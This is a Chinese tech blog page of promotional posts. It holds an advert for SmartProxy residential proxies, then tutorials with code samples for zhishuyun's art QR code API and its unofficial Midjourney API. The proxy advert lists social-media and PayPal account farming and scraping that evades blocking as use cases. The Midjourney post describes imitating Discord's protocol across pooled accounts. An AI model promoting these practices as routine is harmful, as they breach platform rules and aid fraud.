0%

技术杂谈

随着互联网的普及和发展,海外住宅IP的需求日益增加。个人用户可以通过使用海外住宅 IP 来访问特定地区的新闻、娱乐、教育和文化资源,从而获得更高的访问速度、优质的用户体验和更强的网络安全性。

对于企业而言,海外住宅IP为进军国际市场提供了重要的支持。通过了解目标市场的需求和竞争环境,企业可以制定相应的营销策略和产品定位。海外住宅 IP 还有助于企业进行市场推广活动,实现定向投放广告和提供个性化的客户体验,从而提升品牌知名度和市场份额。

一、海外住宅 IP 的可靠性

海外住宅 IP 的可靠性主要取决于供应商的信誉和服务质量。为了保障用户的在线安全和隐私,选择一个可靠的海外住宅 IP 提供商至关重要。在此推荐 SmartProxy,一家优质海外住宅代理和全球IP资源服务商。SmartProxy 提供稳定可靠的服务,而且价格相对较为实惠。注册即领免费流量:

二、选择SmartProxy的理由

• 提供200+国家和地区的真实家庭住宅IP,汇聚优质IP资源池。

• 提供纯净高匿代理,无限带宽,确保网络数据采集不受封锁。

• 价格实惠,支持HTTP/HTTPS/SOCKS5协议,可根据业务需求定制独享IP。

• 支持自定义国家、IP时效和城市,精准定位,提供更快更稳定的连接。

• 提供全天候实时支持,专业团队随时提供帮助和支持。

除了海外住宅 IP 业务,SmartProxy 还提供静态住宅 IP 服务,这种 IP 地址是固定不变的,适用于需要长期稳定连接的应用场景。

SmartProxy 的海外代理适用于爬虫采集、市场调查、品牌保护、广告验证、社交媒体、海外电商运营、FB/TK/PayPal 养号等各种应用场景。SmartProxy 已为众多知名网站和企业提供服务,支持 API 批量使用和多线程超高并发。

请点击以下链接进行免费测试👉: smartproxy 住宅 IP,我们的客服团队将 24/7 在线解答您的问题,欢迎随时联系我们。

Other

艺术二维码是一种创新的技术产品,它将二维码与美观的背景图像相结合,创造出既实用又美观的作品。它们不仅具有传统二维码的功能性,能被智能设备快速扫描识别,还加入了艺术元素,增强了视觉吸引力和品牌识别度。其中,部分艺术二维码甚至由人工智能生成,充分利用了现代技术,展示出无与伦比的创新和独特性。这使得艺术二维码在品牌营销、广告推广等领域有着广泛的应用。

简单来说,艺术二维码是扫描二维码与艺术美感的完美结合,它不仅提供了信息传递的功能,同时也能提升用户的视觉体验,使得每一次的扫描都充满艺术的享受。

作品概览

我们先来看几个二维码作品:

怎么样?这些二维码就是艺术二维码,它实现了图片和二维码的完美结合,比普通的二维码更加具有艺术感。而且关键是,每一个二维码都能扫描!

怎样制作?

想制作这样的二维码吗?怎么来制作这样的艺术二维码呢?

其实这个从技术来讲是相对复杂的。在现在这个 AI 时代,目前艺术二维码的解决方案是基于 Stable Diffusion 来做的,通过输入 prompt 我们可以生成对应的图片,同时结合一些二维码内容的融合最终实现这样的效果。

所以这里面其实最主要的挑战在于:如何既把二维码做得好看而且富有艺术,而且二维码还能被正确扫描。说实话这个技术其实还是蛮难的,需要大量的参数调整才能做到稍微好点的效果。

应该 99% 的人在第一步就放弃了。

假设通过不断的调整,我们真的做出来了这样的效果,真正运行起来也是一个不小的开销,如果要速度比较快的话,可能得性能比较好的 GPU,可能一不小心就上万块钱了。

有朋友可能会说:我不想费那么多精力,我也不想花那么多钱,我就想做个艺术二维码,或者我想把这个能力集成到我的产品里面,要是有这样现成的 API 就好了。

有吗?还真有。

这里推荐一个知数云平台,知数云平台提供了艺术二维码相关生成 API,我们可以调用 API 输入各种参数,比如图片内容、二维码链接、样式风格等等各种参数,就可以非常方便地生成想要的艺术二维码了,而且首次申请免费赠送 20 张绘制次数。

申请 API

知数云平台是什么呢?简单来说,它是一个提供多样数字化 API 的服务平台,其官网链接是:https://data.zhishuyun.com。

要使用艺术二维码 API,首先可以到艺术二维码 API 页面点击「获取」按钮:

如果你尚未登录,会自动跳转到登录页面,扫码关注公众号即可自动登录,无需额外注册步骤。

登录完了之后会跳回原页面,此时会提示「您尚未申请该服务,需要申请」。

申请时会校验实名认证情况,请按照网站提示完成实名认证。实名认证会校验姓名、手机号、身份证号,需要三者一致才可以通过认证。认证完了之后可以返回页面,刷新一下页面确保信息更新,然后重新申请即可通过申请。

基本使用

要使用艺术二维码的最基本的功能,需要填入如下几个必须参数:

  • type:二维码的类型,如纯文本、链接等。
  • content:二维码的内容,比如如果是链接的话,我们可以填入对应的链接。
  • prompt:二维码对应的风格绘制指令,强烈建议用英文。比如说 pizza 则会绘制一个像披萨的二维码。

接下来,我们来生成一个知数云官网的二维码,类型是链接,内容是 https://data.zhishuyun.com,prompt 这里填写如下内容:

1
(best quality, masterpiece:1.2), underwater, ((pirate ship)), close up, zoom in, absurdes, big waves, twister, water falling, tentacles, ((glowing lights)), ((lighting storm)), fog, smoke, 4k res, 8k, higly detailed textures, cinematic shot, intricate details, side view

在测试页面填写如下内容:

然后点击测试:

过一会就发现艺术二维码就生成了,结果类似如下:

1
2
3
4
5
6
{
"task_id": "a7e8831c-203d-447e-83fc-71783c766446",
"image_url": "https://qrart.cdn.zhishuyun.com/attachments/1132182283529494652/1136344944630563006/Germey_2023-08-02__64ca8da51e5834b500e077bf.png",
"image_width": 768,
"image_height": 768
}

二维码如下:

这样我们就生成了一个二维码,主体是一个船只,悬挂着几个旗帜,而这些旗帜恰恰构成了二维码的定位点。

用手机扫描一下,就可以跳转到知数云的官网了。

同时上述内容调用方案我们可以非常方便地转成 API 调用。

prompt 指南

通过上述操作可以看到,艺术二维码关键在于 prompt 的编写,那 prompt 的编写都有什么讲究呢?

其实这个都是通用的 Stable Diffusion 的 prompt 指令,艺术二维码就是基于 Stable Diffusion 技术加上一些特殊调优生成的,所以它的输入 prompt 和 Stable Diffusion 是完全一样的。

如果你还不知道什么是 Stable Diffusion,可以到它的官网了解下:https://stablediffusionweb.com/,还有prompt 教程和指南:https://stable-diffusion-art.com/prompt-guide/,另外 Stable Diffusion 还制作了 prompt 生成器,可以帮助我们生成 prompt:https://stablediffusionweb.com/prompt-generator,除此之外还有一些 prompt 样例集合网站:https://publicprompts.art/

如上内容仅作参考,如果更多,可以自行搜索 Stable Diffusion 相关的资料进行学习。

高级参数

本 API 还提供了更多高级参数方便进行更多功能定制,说明如下:

  • pattern:预设二维码组合。预设二维码风格组合,如定位框的样式(方形、圆形等)、点的样式(方形、圆形等)。
  • preset:预设背景风格。二维码背景的风格,如超现实风格、霓虹效果、手绘风格等。
  • steps:绘制迭代次数。当次数越大,绘制的二维码艺术风格越强,范围为 10-20,默认是 16。
  • qrw:二维码的权重。当权重越大,图片越接近真实二维码,但是艺术化的风格会减弱,取值范围是 1.5-3,默认是 1.5。
  • seed:随机种子。用于生成随机二维码,当种子相同时,生成的二维码风格是一样的,范围为 1-9007199254740991。
  • rawurl:是否保持原始链接。默认情况下会将输入链接缩短为短链接,可以提高扫码率,该值默认为 false。
  • padding_level:二维码内边距。二维码内边距的大小,
  • aspect_ratio:二维码宽高比。
  • position:二维码位置。
  • pixel_style:二维码像素风格。
  • marker_shape:二维码定位框形状。
  • sub_marker:二维码子标记样式。
  • rotate:二维码旋转角度。
  • ecl:二维码纠错等级。
  • padding_noise:二维码内边距噪点。

下文我们来详细了解下艺术二维码 API 的一些高级参数,选取其中一些进行介绍。

注意:API 可能在不断迭代,下文内容仅供参考,最新 API 使用方式请参见知数云官方文档:https://data.zhishuyun.com/documents/821cfbbf-6b97-4c42-b21f-e29fdd245a96

预设 preset

艺术二维码 API 设置了很多预设模板,这个参数叫做 preset,取值如下:

  • sunset(日落): 融合了夕阳余晖的温暖色调和柔和光线效果。
  • floral(花卉): 带有花朵和植物元素的艺术风格,强调自然之美。
  • snowflakes(雪花): 冰雪世界,具有冰晶和雪花的冷酷氛围。
  • feathers(羽毛): 呈现出羽毛和鸟类特征,营造轻盈和柔软的感觉。
  • raindrops(雨滴): 以雨滴和水珠为灵感,创造出清新湿润的效果。
  • ultra-realism(超现实): 极度逼真的细节和质感,营造出超越现实的效果。
  • epic-realms(史诗领域): 壮丽的场景和史诗感,带来宏大的视觉体验。
  • intricate-studio(错综复杂): 富有细节和复杂性,需要仔细观察才能完全理解的风格。
  • symmetric-masterpiece(对称杰作): 通过对称元素创造出精美的平衡和谐。
  • luminous-highway(发光高速公路): 强调夜间的发光效果,如车灯和霓虹灯。
  • celestial-journey(星际之旅): 探索宇宙和星际的奇幻旅程。
  • neon-mech(霓虹机械): 结合了霓虹灯和机械元素,营造出未来感。
  • ethereal-low-poly(飘渺低多边形): 低多边形风格,创造出虚幻和抽象的效果。
  • golden-vista(金色景观): 以金色调为主,呈现出壮观的视觉景象。
  • cinematic-expanse(电影式广袤): 带有电影感的广阔场景,引人入胜。
  • cinematic-warm(电影式温暖): 具有电影质感的温暖色调和光线效果。
  • desolate-wilderness(荒凉荒野): 描绘荒芜和荒野,营造出孤寂感。
  • vibrant-palette(鲜明调色板): 色彩丰富多样,强烈的色彩对比。
  • enigmatic-journey(神秘之旅): 探索充满谜团和神秘感的旅程。
  • timeless-cinematic(永恒电影): 具有电影质感且不受时间限制的风格。
  • regal-galaxy(皇家星系): 带有皇家气息的星系和宇宙元素。
  • illustrious-canvas(杰出画布): 创作出卓越而引人注目的画布效果。
  • expressive-mural(富有表现力的壁画): 充满表现力和情感的大型壁画风格。
  • serene-haze(宁静薄雾): 带有宁静和薄雾效果,营造出宁静的氛围。

我们下面来尝试下不同参数的效果,比如拿 raindrops(雨滴)和 raindrops(金色景观)为例来看下效果。

1
2
3
4
5
6
7
8
9
curl -X POST "https://api.zhishuyun.com/qrart/generate?token={token}" \
-H "accept: application/json" \
-H "content-type: application/json" \
-d '{
"type": "link",
"content": "https://data.zhishuyun.com",
"prompt": "sakura",
"preset": "sunset"
}'

这里我们把 preset 设置为了日落效果,效果如下:

如果我们换个风格,比如把 preset 参数换成 expressive-mural(富有表现力的壁画),效果如下:

关于其他的一些设定大家可以自行试验。

二维码宽高比 aspect_ratio

通过 aspect_ratio 参数我们可以设置二维码的宽高比,比如正方形 1:1,长方形 16:9 等等,该参数:

  • 1:1:宽高比为1:1,表示画布的宽度和高度相等。对应的像素尺寸为 768x768,生成的二维码画布为正方形。
  • 16:9:宽高比为16:9,表示画布的宽度是高度的16/9倍。对应的像素尺寸为 1008x576,生成的二维码画布宽度较大,适合宽屏显示。
  • 9:16:宽高比为9:16,表示画布的宽度是高度的9/16倍。对应的像素尺寸为 576x1008,生成的二维码画布高度较大,适合竖屏显示。
  • 4:3:宽高比为4:3,表示画布的宽度是高度的4/3倍。对应的像素尺寸为 864x672,生成的二维码画布略带正方形感,适合一般显示。
  • 3:4:宽高比为3:4,表示画布的宽度是高度的3/4倍。对应的像素尺寸为 672x864,生成的二维码画布略带纵向矩形感,适合一般显示。
1
2
3
4
5
6
7
8
9
curl -X POST "https://api.zhishuyun.com/qrart/generate?token={token}" \
-H "accept: application/json" \
-H "content-type: application/json" \
-d '{
"type": "link",
"content": "https://data.zhishuyun.com",
"prompt": "Plate of Nigiri sushi",
"aspect_ratio": "1:1"
}'

这里我们尝试生成了一个正方形的二维码,效果如下:

二维码位置 position

我们还可以通过 position 参数控制二维码的位置,比如说一张图片里面有一个女生穿裙子,而我们想要把二维码放在裙子的位置并与之融合起来,我们就可以尝试改下二维码的位置,调用样例如下:

1
2
3
4
5
6
7
8
9
curl -X POST "https://api.zhishuyun.com/qrart/generate?token={token}" \
-H "accept: application/json" \
-H "content-type: application/json" \
-d '{
"type": "link",
"content": "https://data.zhishuyun.com",
"prompt": "one of the beautiful girls in the moonlight in the background, in the style of pixelated chaos, rococo-inspired art, dark white and sky-blue, made of plastic, delicate flowers, gongbi, wimmelbilder",
"position": "bottom"
}'

效果如下:

二维码像素风格 pixel_style

我们还可以自定义二维码的像素风格,通过传入 pixel_style 即可,参数可选值如下:

  • square(方形):使用方形的像素单元,每个像素单元都是正方形的形状。
  • rounded(圆角):像素单元具有圆角,使得生成的二维码看起来更加柔和和现代化。
  • dot(点状):使用小圆点作为像素单元,生成的二维码呈现出点阵的效果,类似于印刷效果。
  • squircle(圆角方形):类似于圆角矩形,但更加接近圆形的形状,为生成的二维码赋予一种独特的风格。
  • row(行排列):将像素单元按行排列,呈现出水平方向的图案。
  • column(列排列):将像素单元按列排列,呈现出垂直方向的图案。

二维码框风格 marker_shape

通过 marker_shape 可以自定义定位框的风格,参数可选值如下:

  • square(方形):标记形状为正方形,用于突出特定位置或元素。
  • circle(圆形):标记形状为圆形,可用于标记关键区域或元素。
  • plus(加号):标记形状为加号,类似十字型,用于突出注意或特定信息。
  • box(方框):标记形状为方框,类似于描边的矩形,可用于围绕区域或元素。
  • octagon(八边形):标记形状为八边形,带有独特的角落,用于视觉吸引。
  • random(随机):标记形状随机分布,为二维码添加艺术感和视觉趣味。
  • tiny-plus(微小加号):微小的加号标记,可用于标记细微的元素或细节。

二维码子标记风格 sub_marker

通过 sub_marker 可以用于子标记(较小的标记)的形状,参数可选值如下:

  • square(方形):子标记的形状为正方形,可以用于突出特定位置的细节。
  • circle(圆形):子标记的形状为圆形,可用于强调关键细节或元素。
  • box(方框):子标记的形状为方框,类似于描边的矩形,适用于标记细小区域。
  • random(随机):子标记的形状随机分布,为二维码添加艺术感和视觉趣味。
  • plus(加号):子标记的形状为加号,类似十字型,可以用于标记细微的信息或元素。

二维码旋转角度 rotate

通过 rotate 可以控制二维码的旋转角度,参数可选值如下:

  • 0:不进行旋转,生成的二维码保持原始方向,没有旋转效果。
  • 90:将生成的二维码顺时针旋转90度,使其以纵向方向显示。
  • 180:将生成的二维码旋转180度,使其倒置,即上下颠倒的显示方式。
  • 270:将生成的二维码顺时针旋转270度,使其以逆纵向方向显示。

在这里我们就不再对各种 API 参数进行一一介绍了,更详细更实时的内容可以参见知数云的官方文档,链接为:https://data.zhishuyun.com/documents/ee085d2a-a0b9-4f0e-8b4d-8da407345138。

价格

知数云艺术二维码的 API 提供了阶梯定价,首次申请免费赠送 20 次,而且购买越多越便宜,由于价格会动态调整,所以大家可以查看知数云官网来查看最新实时价格:https://data.zhishuyun.com/services/38ecf158-36f2-42f2-8e7f-6786cdfc2452

以上便是知数云艺术二维码的一些介绍,希望对大家有帮助,谢谢!

非常感谢你的阅读,更多精彩内容,请关注我的公众号「进击的 Coder」和「崔庆才丨静觅」。

技术杂谈

Midjourney API 申请及使用

在人工智能绘图领域,想必大家听说过 Midjourney 的大名吧!

Midjourney 以其出色的绘图能力在业界独树一帜。无需过多复杂的操作,只要简单输入绘图指令,这个神奇的工具就能在瞬间为我们呈现出对应的图像。无论是任何物体还是任何风格,都能在 Midjourney 的绘画魔法下得以轻松呈现。如今,Midjourney 早已在各个行业和领域广泛应用,其影响力愈发显著。

然而,在国内想要使用 Midjourney 却面临着相当大的挑战。首先,Midjourney 目前驻扎在 Discord 平台中,这意味着要使用 Midjourney,必须通过特殊的充值途径获得访问权限。如果没有订阅,几乎无法使用 Midjourney,因此单是使用这一工具就成了一个巨大的难题。此外,有人或许会疑问:Midjourney 是否提供对外 API 服务?然而事实是,Midjourney 并未向外界提供任何 API 服务,而且从目前情况看来,这一情况似乎也不会改变。

那么,是否有方法能够与 Midjourney 对接,并将其融入到自己的产品中呢?

答案是肯定的。接下来,我将为大家介绍知数云平台所提供的 Midjourney API,通过使用该 API,我们能够实现与 Midjourney 官方完全一致的效果和操作,下文会详细介绍。

简介

知数云平台是什么呢?简单来说,它是一个提供多样数字化 API 的服务平台,其官网链接是:https://data.zhishuyun.com

你可能会疑惑,既然 Midjourney 官方并未向外提供 API,那么知数云平台的 API 是如何诞生的呢?简言之,知数云的 Midjourney 与 Discord 内的 Midjourney Bot 进行了接口对接,同时模拟了底层通信协议,从而能够在 Discord 平台上实现与 Midjourney 官方完全相同的操作。这涵盖了文字生成图片、图像转换、图像融合、图文生成等多个功能。此外,该 API 在后台维护了大量 Midjourney 账号,通过负载均衡控制实现了高度的并发处理,比官方 Midjourney 单一账号的并发能力要更高。

总体来看,无论是在 Discord 上使用 Midjourney 提供的哪一项功能,这个 API 都能完全还原官方操作的效果和效能。

稳定性如何呢?根据我个人几个月的观察和使用经验,可以毫不夸张地说,目前业界很难找到比知数云 Midjourney API 更稳定且并发处理能力更高的选择,而且还能保持 Midjourney 这一价格水平。这样的选择寥寥无几。

下面我们就来了解下这个 API 的申请和使用方法吧。

申请流程

下文内容大多数来源于知数云 Midjourney API 官方介绍文档,文档链接:https://data.zhishuyun.com/documents/0fd3dd40-a16a-4246-8313-748b8e75c29e,最新内容以官方文档为准。

要使用 Midjourney Imagine API,首先可以到 Midjourney Imagine API 页面点击「获取」按钮:

如果你尚未登录,会自动跳转到登录页面。扫码关注公众号即可自动登录,无需额外注册步骤。

登录完了之后会跳回原页面 Midjourney Imagine API ,此时会提示「您尚未申请该服务,需要申请」。

申请时会校验实名认证情况,请按照网站提示完成实名认证。实名认证会校验姓名、手机号、身份证号,需要三者一致才可以通过认证。认证完了之后可以返回页面,刷新一下页面确保信息更新,然后重新申请即可通过申请。

基本使用

接下来就可以在界面上填写对应的内容,如图所示:

在第一次使用该接口时,我们至少需要填写两个参数,一个是 action,另一个是 prompt。其中 action 参数代表了生成图的操作类型,由于第一次调用该 API 我们没有生成过任何内容,所以我们需要先输入文字来生成一副预览图,所以这时候 action 应该填写为 generate。另外一个参数 prompt 就是我们想生成的图片描述内容了,强烈建议用英文描述,画的图会更准确效果更好,这里我们填写了 beautiful dress,代表要画一条好看的裙子。

依次填写好图中所示参数,然后点击「测试」按钮即可测试接口。「测试」按钮下方会显示 API 返回的结果。同时您可以注意到右侧有对应的调用代码生成,您可以复制代码到您的 IDE 里面进行对接和开发。

调用之后,我们发现返回结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"image_url": "https://midjourney.cdn.zhishuyun.com/attachments/1124768570157564029/1142862320582791268/nglover_beautiful_dress_id4899456_02d66331-b4d5-46bd-b5ea-efa6d9447528.png",
"image_id": "1142862320582791268",
"progress": 100,
"actions": [
"upsample1",
"upsample2",
"upsample3",
"upsample4",
"reroll",
"variation1",
"variation2",
"variation3",
"variation4"
],
"task_id": "cf735d83-6e02-4e0a-a265-3e8ed46b8070"
}

返回结果一共有如下字段:

task_id,生成此图像任务的 ID,用于唯一标识此次图像生成任务。

image_id,图片的唯一标识,在下次需要对图片进行变换操作时需要传此参数。

image_url,图片的 URL,直接打开即可查看生成的效果,如图所示:

可以看到,这里生成了一张 2x2 的预览图。

actions,可以对生成的图片进行的进一步操作列表。这里一共列了 9 个,其中 upsample 代表放大,variation 代表变换,reroll 代表重新生成。所以 upsample1 代表的就是对左上角第一张图片进行放大操作,variation3 就是代表根据左下角第三张图片进行变换操作。

到现在为止,第一次 API 调用就完成了。

提示:如果您觉得上述生图速度较慢,想进一步提升用户体验,可以考虑采用流式传输的模式或者使用极速 API,具体可参考文档下方内容。

图像放大与变换

下面我们尝试针对当前生成的照片进行进一步的操作,比如我们觉得右上角第二张的图片还不错,但我们想进行一些变换微调,那么就可以进一步将 action 填写为 variation2,同时将 image_id 传递即可,prompt 可以留空:

这时候得到的结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"image_url": "https://midjourney.cdn.zhishuyun.com/attachments/1124768570157564029/1142864001001345245/handerson6243_beautiful_dress_id4899456_aab4a0bf-7d99-4b7f-818c-c4dc690300ea.png",
"image_id": "1142864001001345245",
"progress": 100,
"actions": [
"upsample1",
"upsample2",
"upsample3",
"upsample4",
"reroll",
"variation1",
"variation2",
"variation3",
"variation4"
],
"task_id": "b6f464b6-0cac-43e7-ae4e-12658679b7f3"
}

打开 image_url,新生成的图片如下所示:

可以看到,针对上一张右上角的图片,我们再次得到了四张类似的照片。

这时候我们可以挑选其中一张进行精细化地放大操作,比如选第四张,那就可以 action 传入 upsample4,通过 image_id 再次传入当前图像的 ID 即可。

注意: upsample 操作相比 variation 来说,Midjourney 的耗时会更短一些。

返回结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
"image_url": "https://midjourney.cdn.zhishuyun.com/attachments/1124768570157564029/1142864651860840458/ruthgarcia3808_beautiful_dress_id4899456_096f6a64-7412-4cb5-8f50-4afbfc456d55.png",
"image_id": "1142864651860840458",
"progress": 100,
"actions": [
"high_variation",
"low_variation",
"zoom_out_2x",
"zoom_out_1_5x",
"pan_left",
"pan_right",
"pan_up",
"pan_down"
],
"task_id": "9f5c34e3-c8af-415c-9377-fb46cd47ad45"
}

其中 image_url 如图所示:

这样我们就成功得到了一张独立的连衣裙的照片。

同时注意到 actions 里面又包含了几个可进行的操作,介绍如下:

high_variation:对画面进行高变换(具体含义请参考 Midjourney 官方)。

low_variation:对画面进行低变换(具体含义请参考 Midjourney 官方)。

zoom_out_2x:对画面进行缩小两倍操作(周围区域填充)。

zoom_out_1_5x:对画面进行缩小 1.5 倍操作(周围区域填充)。

pan_left:对画面进行左移和填充操作。

pan_right:对画面进行右移和填充操作。

pan_top:对画面进行上移和填充操作。

pan_bottom:对画面进行下移和填充操作。

可以继续按照上述流程传入对应的变换指令进行连续生图操作,可以实现无限次连续操作,这里不再一一赘述。

图像改写(垫图)

该 API 也支持图像改写,俗称垫图,我们可以输入一张图片 URL 以及需要改写的描述文字,该 API 就可以返回改写后的图片。

注意:输入的图片 URL 需要是一张纯图片,不能是一个网页里面展示一张图片,否则无法进行图像改写。建议使用图床(如阿里云 OSS、腾讯云 COS、七牛云、又拍云等)来上传获取图片的 URL。

假设这里我们有一张图片,URL 是 https://zhishuyun-1256437459.cos.ap-beijing.myqcloud.com/20230504-222359.png,是一张小女孩写字的图片:

现在我们想把它转化为卡通风格,可以直接在 prompt 字段将 URL 和要调整的文字一并输入即可,二者用空格分隔,比如:

1
https://zhishuyun-1256437459.cos.ap-beijing.myqcloud.com/20230504-222359.png transfer to cartoon style

样例调用如下:

输出结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"task_id": "9297d5ab-4014-44d4-91c8-a6d8927a0756",
"image_id": "1103689414850387968",
"image_url": "https://midjourney.cdn.zhishuyun.com/attachments/1100813695770165341/1103689414850387968/Azyern_Zieca_ignore9297d5ab-4014-44d4-91c8-a6d8927a0756_ec5cda5c-8784-4707-be17-a168786e0c8a.png",
"actions": [
"upsample1",
"upsample2",
"upsample3",
"upsample4",
"variation1",
"variation2",
"variation3",
"variation4"
]
}

这时候,我们可以看到就得到了类似的卡通风格的图片了:

异步回调

由于 Midjourney 生成图片需要等待一段时间,所以本 API 也相应设计为了长等待模式。但在部分场景下,长等待可能会带来一些额外的资源开销,因此本 API 也提供了异步 Webhook 回调的方式,当图片生成成功或失败时,其结果都会通过 HTTP 请求的方式发送到指定的 Webhook 回调 URL。回调 URL 接收到结果之后可以进行进一步的处理。

下面演示具体的调用流程。

首先,Webhook 回调是一个可以接收 HTTP 请求的服务,开发者应该替换为自己搭建的 HTTP 服务器的 URL。此处为了方便演示,使用一个公开的 Webhook 样例网站 https://webhook.site/,打开该网站即可得到一个 Webhook URL,如图所示:

将此 URL 复制下来,就可以作为 Webhook 来使用,此处的样例为 https://webhook.site/c62713a6-0487-45bd-9ad2-08a91d7ed12d

接下来,我们可以设置字段 callback_url 为上述 Webhook URL,同时填入 prompt,如图所示:

点击测试之后会立即得到一个 task_id 的响应,用于标识当前生成任务的 ID,如图所示:

稍等片刻,等图片生成结束,可以发发现 Webhook URL 收到了一个 HTTP 请求,如图所示:

其结果就是当前任务的结果,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
"success": true,
"task_id": "8aad0fe0-2300-4702-94dc-39a5d3e2f2f3",
"actions": [
"upsample1",
"upsample2",
"upsample3",
"upsample4",
"variation1",
"variation2",
"variation3",
"variation4"
],
"image_id": "1103693480024363198",
"image_url": "https://midjourney.cdn.zhishuyun.com/attachments/1100813695770165341/1103693480024363198/Azyern_Zieca_ignore8aad0fe0-2300-4702-94dc-39a5d3e2f2f3_a_beaut_b3d5720a-b917-4a2d-b6e7-ae641ee7ca4f.png"
}

其中 success 字段标识了该任务是否执行成功,如果执行成功,还会有同样的 actions, image_id, image_url 字段,和上文介绍的返回结果是一样的,另外还有 task_id 用于标识任务,以实现 Webhook 结果和最初 API 请求的关联。

如果图片生成失败,Webhook URL 则会收到类似如下内容:

1
2
3
4
5
6
{
"success": false,
"task_id": "7ba0feaf-d20b-4c22-a35a-31ec30fc7715",
"code": "bad_request",
"detail": "Unrecognized argument(s): `-c`, `x`"
}

这里的 success 字段会是 false,同时还会有 codedetail 字段描述了任务错误的详情信息,Webhook 服务器根据对应的结果进行处理即可。

流式输出

Midjourney 官方在生成图片的时候是有进度的,在最开始是一张模糊的照片,然后经过几次迭代之后,图片逐渐变得清晰,最后得到完整的图片。

所以,一张图片的生成过程大约可以分为「发送命令」->「开始生图(多次迭代逐渐清晰)」->「生图完毕」的阶段。

在没开启流式输出的情况下,本 API 从发起请求到返回结果,实际上是从上述「发送命令」->「生图完毕」的全过程,中间生图的过程也全被包含在里面,由于 Midjourney 本身生成图片速度较慢,整个过程大约需要等待一分钟或更久。

所以为了更好的用户体验,本 API 支持流式输出,即当「开始生图」的时候就开始返回结果,每当绘制进度有变化,就会流式将结果输出,直至生图结束。

如果想流式返回响应,可以更改请求头里面的 accept 参数,修改为 application/x-ndjson,不过调用代码需要有对应的更改才能支持流式响应。

Python 样例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

url = 'https://api.zhishuyun.com/midjourney/imagine?token={token}'
headers = {
'content-type': 'application/json',
'accept': 'application/x-ndjson'
}
body = {
"prompt": "a beautiful cat",
"action": "generate"
}
r = requests.post(url, headers=headers, json=body, stream=True)
for line in r.iter_lines():
print(line.decode())

运行结果:

1
2
3
4
5
6
7
8
{"image_id":"1112780200447578272","image_url":"https://midjourney.cdn.zhishuyun.com/attachments/1111955518269948007/1112780200447578272/grid_0.webp","actions":[],"progress":0}
{"image_id":"1112780227496640635","image_url":"https://midjourney.cdn.zhishuyun.com/attachments/1111955518269948007/1112780227496640635/grid_0.webp","actions":[],"progress":15}
{"image_id":"1112780238934523994","image_url":"https://midjourney.cdn.zhishuyun.com/attachments/1111955518269948007/1112780238934523994/grid_0.webp","actions":[],"progress":31}
{"image_id":"1112780254398918716","image_url":"https://midjourney.cdn.zhishuyun.com/attachments/1111955518269948007/1112780254398918716/grid_0.webp","actions":[],"progress":46}
{"image_id":"1112780265933262858","image_url":"https://midjourney.cdn.zhishuyun.com/attachments/1111955518269948007/1112780265933262858/grid_0.webp","actions":[],"progress":62}
{"image_id":"1112780280965648394","image_url":"https://midjourney.cdn.zhishuyun.com/attachments/1111955518269948007/1112780280965648394/grid_0.webp","actions":[],"progress":78}
{"image_id":"1112780292621598860","image_url":"https://midjourney.cdn.zhishuyun.com/attachments/1111955518269948007/1112780292621598860/grid_0.webp","actions":[],"progress":93}
{"image_id":"1112780319758766080","image_url":"https://midjourney.cdn.zhishuyun.com/attachments/1111955518269948007/1112780319758766080/dawn97_ignore81c5c24e-ea94-4ae2-aee4-252a98a347ed_a_beautiful_c_e20c3bc8-8827-4c99-9cf5-7d56c2e9d47f.png","actions":["upsample1","upsample2","upsample3","upsample4","variation1","variation2","variation3","variation4"],"progress":100}

可以看到,启用流式输出之后,返回结果就是逐行的 JSON 了。在这里我们用 Python 里面的 iter_lines 方法自动获取了下一行的内容并打印出来。

如果要手动进行处理逐行 JSON 结果的话可以使用 \r\n 来进行分割。

例如在浏览器环境中,用 JavaScript 的 axios 库来实现手动处理,代码可改写如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
axios({
url: "https://api.zhishuyun.com/midjourney/imagine?token={token}",
data: {
prompt: "a beautiful cat",
action: "generate",
},
headers: {
accept: "application/x-ndjson",
"content-type": "application/json",
},
responseType: "stream",
method: "POST",
onDownloadProgress: (progressEvent) => {
const response = progressEvent.target.response;
const lines = response.split("\r\n").filter((line) => !!line);
const lastLine = lines[lines.length - 1];
console.log(lastLine);
},
}).then(({ data }) => Promise.resolve(data));

但注意在 Node.js 环境中,实现稍有不同,代码可写为如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const axios = require("axios");

const url = "https://api.zhishuyun.com/midjourney/imagine?token={token}";
const headers = {
"Content-Type": "application/json",
Accept: "application/x-ndjson",
};
const body = {
prompt: "a beautiful cat",
action: "generate",
};

axios
.post(url, body, { headers: headers, responseType: "stream" })
.then((response) => {
console.log(response.status);
response.data.on("data", (chunk) => {
console.log(chunk.toString());
});
})
.catch((error) => {
console.error(error);
});

Java 样例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import okhttp3.*;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

public class Main {
public static void main(String[] args) {
String url = "https://api.zhishuyun.com/midjourney/imagine?token={token}";

OkHttpClient client = new OkHttpClient();

MediaType mediaType = MediaType.parse("application/json");
RequestBody body = RequestBody.create(mediaType, "{\"prompt\": \"a beautiful cat\"}");
Request request = new Request.Builder()
.url(url)
.post(body)
.addHeader("Content-Type", "application/json")
.addHeader("Accept", "application/x-ndjson")
.build();

client.newCall(request).enqueue(new Callback() {
@Override
public void onFailure(Call call, IOException e) {
e.printStackTrace();
}

@Override
public void onResponse(Call call, Response response) throws IOException {
if (!response.isSuccessful()) throw new IOException("Unexpected code " + response);

try (BufferedReader br = new BufferedReader(
new InputStreamReader(response.body().byteStream(), "UTF-8"))) {
String responseLine;
while ((responseLine = br.readLine()) != null) {
System.out.println(responseLine);
}
}
}
});
}
}

运行结果都是类似的。

另外注意到,流式输出的结果多了一个字段叫做 progress,这个代表绘制进度,范围是 0-100,如果需要,您也可以在页面展示这个信息。

